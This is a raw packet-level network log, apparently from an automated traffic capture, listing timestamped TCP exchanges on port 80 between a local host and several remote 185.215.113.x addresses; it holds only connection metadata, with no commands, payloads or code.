Sep 1, 2024 01:30:05.803843975 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.803848028 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.803853989 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.803875923 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.803894043 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.804215908 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.804258108 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.804270029 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.804285049 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.804327965 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.804337025 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.804347038 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.804358959 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.804364920 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.804377079 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.804385900 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.804387093 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.804415941 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.804610968 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.804650068 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.804682970 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.804691076 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.804701090 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.804713011 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.804721117 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.804728985 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.804740906 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.804745913 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.804764032 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.804785967 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.804833889 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.804847956 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.804858923 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.804868937 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.804872990 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.804882050 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.804888010 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.804903984 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.804932117 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.804977894 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.804986954 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.804999113 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.805018902 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.805041075 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.805042028 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.805052042 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.805062056 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.805072069 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.805073977 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.805090904 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.805114031 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.805172920 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.805182934 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.805192947 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.805207014 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.805214882 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.805216074 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.805227041 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.805244923 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.805246115 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.805254936 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.805260897 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.805264950 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.805274963 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.805284977 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.805288076 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.805295944 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.805315971 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.805332899 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.805558920 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.805571079 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.805588007 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.805597067 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.805600882 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.805607080 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.805624962 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.805649996 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.805692911 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.805702925 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.805712938 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.805736065 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.805751085 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.805758953 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.805768967 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.805778980 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.805790901 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.805792093 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.805804968 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.805824995 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.822417021 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.822427034 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.822432995 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.822643995 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.822655916 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.822665930 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.822669983 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.822675943 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.822690010 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.822714090 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.858916998 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.858944893 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.858958960 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.858964920 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.858969927 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.858974934 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.858978987 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.858983994 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.858992100 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.858999968 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.859004021 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.859009981 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.859016895 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.859067917 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.859075069 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.859080076 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.859277010 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.859421968 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.859466076 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.859477043 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.859489918 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.859512091 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.859541893 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.859565973 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.859576941 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.859586954 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.859603882 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.859611034 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.859613895 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.859642982 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.859658957 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.859937906 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.859958887 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.859966993 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.859997988 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.860017061 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.860025883 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.860035896 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.860043049 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.860045910 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.860059023 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.860089064 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:06.560271978 CEST	49712	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:06.560770988 CEST	49714	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:06.565469980 CEST	80	49712	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:06.565529108 CEST	49712	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:06.565553904 CEST	80	49714	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:06.565612078 CEST	49714	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:06.565749884 CEST	49714	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:06.570552111 CEST	80	49714	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:07.313247919 CEST	80	49714	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:07.313301086 CEST	49714	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:07.314935923 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:07.315234900 CEST	49715	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:07.320051908 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:07.320167065 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:07.320175886 CEST	80	49715	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:07.320274115 CEST	49715	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:07.320930004 CEST	49715	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:07.325681925 CEST	80	49715	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:08.092283964 CEST	80	49715	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:08.094899893 CEST	49715	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:08.795408010 CEST	49716	80	192.168.2.5	185.215.113.100
Sep 1, 2024 01:30:08.800326109 CEST	80	49716	185.215.113.100	192.168.2.5
Sep 1, 2024 01:30:08.800409079 CEST	49716	80	192.168.2.5	185.215.113.100
Sep 1, 2024 01:30:08.800530910 CEST	49716	80	192.168.2.5	185.215.113.100
Sep 1, 2024 01:30:08.805253029 CEST	80	49716	185.215.113.100	192.168.2.5
Sep 1, 2024 01:30:08.965281963 CEST	49714	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:08.965616941 CEST	49717	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:08.970485926 CEST	80	49717	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:08.970577955 CEST	49717	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:08.970698118 CEST	80	49714	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:08.970788956 CEST	49714	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:08.971029043 CEST	49717	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:08.974097967 CEST	49715	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:08.975904942 CEST	80	49717	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:08.979217052 CEST	80	49715	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:08.979275942 CEST	49715	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:09.539001942 CEST	80	49716	185.215.113.100	192.168.2.5
Sep 1, 2024 01:30:09.539057016 CEST	49716	80	192.168.2.5	185.215.113.100
Sep 1, 2024 01:30:09.546627998 CEST	49716	80	192.168.2.5	185.215.113.100
Sep 1, 2024 01:30:09.551419020 CEST	80	49716	185.215.113.100	192.168.2.5
Sep 1, 2024 01:30:09.719652891 CEST	80	49717	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:09.719727039 CEST	49717	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:09.722846031 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:09.727641106 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:09.727726936 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:09.727852106 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:09.732570887 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:09.792448044 CEST	80	49716	185.215.113.100	192.168.2.5
Sep 1, 2024 01:30:09.792808056 CEST	49716	80	192.168.2.5	185.215.113.100
Sep 1, 2024 01:30:10.492872953 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.492911100 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.492921114 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.492949963 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.492959976 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.492969990 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.492980957 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.492991924 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.492990971 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:10.493002892 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.493015051 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.493067980 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:10.493067980 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:10.493067980 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:10.497931957 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.497945070 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.497955084 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.498001099 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:10.498034000 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:10.641467094 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.641499043 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.641558886 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:10.641606092 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:10.641901970 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.641911983 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.641948938 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:10.641963005 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.642019033 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.642029047 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.642030954 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:10.642059088 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:10.642343998 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.642364025 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.642373085 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.642448902 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:10.642728090 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.642746925 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.642757893 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.642771006 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:10.642805099 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:10.642827034 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.642842054 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.642882109 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:10.643465996 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.643501997 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.643511057 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:10.643512011 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.643532991 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:10.643548012 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:10.643596888 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.643605947 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.643616915 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.643630028 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:10.643647909 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:10.644459009 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.644501925 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.644530058 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:10.644542933 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:10.646456957 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.646477938 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.646512032 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:10.646534920 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:10.646747112 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.646756887 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.646800041 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:10.800929070 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.800947905 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.800957918 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.800968885 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.800980091 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.800992012 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.800998926 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:10.801035881 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:10.801062107 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:10.802190065 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.802211046 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.802253008 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:10.802258015 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.802283049 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:10.802299023 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:10.802344084 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.802355051 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.802369118 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.802380085 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:10.802398920 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:10.802560091 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.802577019 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.802587032 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.802597046 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.802603006 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:10.802606106 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.802628994 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:10.802655935 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:10.802835941 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.802854061 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.802865982 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.802886963 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:10.802902937 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.802911997 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:10.802913904 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.802938938 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:10.802954912 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:10.803196907 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.803208113 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.803217888 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.803241014 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:10.803253889 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.803263903 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.803267002 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:10.803273916 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.803284883 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.803292036 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:10.803308010 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:10.803332090 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:10.803745031 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.803755999 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.803767920 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.803792953 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.803797960 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.803807974 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.803814888 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:10.803817987 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.803828955 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:10.803832054 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.803842068 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.803863049 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:10.803873062 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.803879976 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:10.803884029 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.803894997 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.803905964 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.803913116 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:10.803926945 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:10.803936958 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:10.804729939 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.804749012 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.804759979 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.804769993 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.804780006 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.804785967 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:10.804790020 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.804802895 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:10.804811954 CEST	80	49718	185.215.113.16	192.168.2.5
